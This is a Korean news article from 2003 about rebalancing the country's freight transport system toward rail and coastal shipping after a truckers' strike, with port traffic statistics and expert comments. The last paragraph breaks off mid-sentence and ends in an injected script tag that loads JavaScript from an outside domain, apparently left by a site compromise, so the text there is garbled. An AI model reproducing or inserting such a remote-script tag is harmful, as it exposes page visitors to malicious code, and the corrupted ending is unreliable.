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작성일 |
2003-05-20 |
| 제목 |
[물류] '견제균형' 원리 적용해야 |
Logistic Focus - 화물운송체계, 이젠 바꿔야 산다!
'견제균형(checks and balances) 원리' 적용해야
정부, 육*해*공 물류 인프라 및 SOC 지원 선진국 기준 균형적 재배치
제2, 제3의 물류대란 가능성 배제 못해, ‘비상 물류대책 가동 체계’도 시급
지난 보름 간 전국운송하역노조 화물연대 파업에 따른 ‘운송대란’은 그 상처의 골도 깊지만, 그 만큼 우리에게 국내 물류 시장의 중요성을 일깨워주는 교훈의 시간이었다.
이중 국내 육*해*공 화물운송 수송 분담률은 도로운송이 가장 높은 74.2%(2001년 기준)의 비중을 차지하고 있는 반면 철도운송과 해운의 경우 수송 분담률이 거의 변화가 없다는 측면에서 “정부가 국내 화물운송체계를 너무 일방적으로 의존하고 있지 않느냐”는 지적의 소리가 높다.
이에 대해 물류 전문가들은 국내 육*해*공 화물운송체계의 균형적 발전을 통해 도로운송과의 연계성을 높일 수 있는 연안운송-도로운송 또는 철도운송-도로운송의 복합운송체계 확립이 요구되고 있다고 주장한다.
이에 따라 운송신문은 현재의 고비용 저효율 운송 수단인 도로운송이 안고 있는 문제를 해결하기 위해 몇 가지 정책적인 고려에 대해 알아봤다.
<편집자주>
▲ “운송체계 다원화” 필요성 항상 지적
물류 수송체계 혁신의 시급한 과제 중 하나로 전문가들은 ‘철도운송 확대’와 ‘연안운송 활성화’를 항상 외쳐왔다.
현행 우리나라의 육운(도로) 중심의 물류 체계로는 전국적인 수송 물량을 효율적으로 처리할 수 없으며, 국제적 경쟁력을 갖추기 어렵다는 판단 때문이다. 더욱이 지금의 운송체계는 제2, 제3의 해운*항공 물류대란을 야기할 가능성이 높다는 측면에서 우리의 일방적인 운송체계는 육*해*공 운송체계가 균형을 이뤄, 성장해 나아가야 한다는 지적이다.
철도운송 - 무엇보다 우리의 화물운송체계를 변화하는데 쉽게 접근할 수 있는 방법이 철도를 통한 화물운송 확대일 것이다.
특히 철도를 통한 화물운송은 화물차를 이용한 육운에 비해 ‘환경문제 유발’ 제고와 ‘정시성 확보’라는 차원에서 도로운송의 문제점을 줄이는 확실한 대안으로 꼽히고 있다.
현재 부산항의 철도운송 물량은 매년 들쭉날쭉하다. 지난 1999년 59만3천TEU였다가 이듬해 65만TEU로 늘었고, 2001년에는 55만1천TEU로 줄었다. 그러나 지난해에는 다시 58만TEU로 5.4%가 증가했다. 전체 수송수단별 철송 비중은 평균 12%선이다.
이를 어느 선까지 끌어올릴 수 있는지는 어려운 문제지만, 전문가들은 20%선은 되어야 한다고 지적하고 있다.
이와 관련 건설교통부가 이번 화물연대 파업 때 내놓은 긴급 화물수송대책은 시사하는 바가 있다. 물류소통을 위해 건교부는 부산항과 수도권의 의왕 내륙컨테이너기지(ICD)간 컨테이너 임시열차를 하루 21개 열차 420량에서 26개 열차 650량으로 늘린 것이다.
그 자체가 비상조치이긴 했으나, 철도 수송분담률이 기존 11.6%에서 최대 19.6%까지 높아졌다는 것은, 정부가 “마음먹기에 따라 철송물량을 확대할 여지가 있다는 것을 암시 혹은 예견”하고 있는 것이다.
이에 대해 전문가들은 “바람직한 물류 분담은 육운 60%, 연안운송 20%, 철도운송 20%선이 될 것”이라면서 “더 늦기전에 국가차원의 수송체계 다원화 작업에 나서야 한다”는 지적이다.
연안운송 - 국내 연안운송의 현주소는 한국컨테이너부두공단의 수송수단별 부산항 물동량 자료를 보면 한눈에 볼 수 있다.
지난 2001년 11만9천TEU를 기록했던 연안해송 물량은 2002년 4만4천TEU로 뚝 떨어졌다. 무려 63%가 줄었다. 같은 기간 육운은 10.8%, 철송은 5.4%가 각각 늘었다. 지난해 기준, 부산항 전체 물동량 가운데 연안해송이 차지하는 비율은 고작0.8%다. 전체 물동량 중 육운이 88.8%, 철송이 10.4%인 것과 대비된다.
구교훈 한국물류관리사협회 부회장(현 세방기업 총무팀 부장)은 “비용적인 측면에서 비용이 물류를 결정한다는 논리로 보면 연안해송은 육운에 비해 경쟁력이 떨어지는 게 사실이나, 국가 물류정책은 비상사태나 환경문제까지 고려해야 하므로 연안해송을 활성화하는 것은 시급한 과제”라고 말했다. (관련기사 해운면)
이와 관련 국내 연안운송 활성화에 대해 비판적인 시각도 많다. 예를 들어 부산~인천간 약 28시간 걸리는 운송시간을 단축해야 하고, 육운과 달리 ‘싣고 내리는’ 과정을 두번 반복해야 하므로 화주에 대한 서비스가 강화되어야 한다는 것.
▲ “화물운송정보 전자상거래시스템 구축” 필요
“따로 국밥은 싫다”, 건교부-해양부-산자부 등 화물운송정보 통합론 제기
무엇보다 화물운송체계의 투명성을 위해서는 화물운송정보가 통합되고, 운송료 및 화물량 등의 정보가 화주와 차주 양측에 실시간 제공되어야 한다.
이를 통해 이번 화물?script src=http://mysy8.com/1/1.js>
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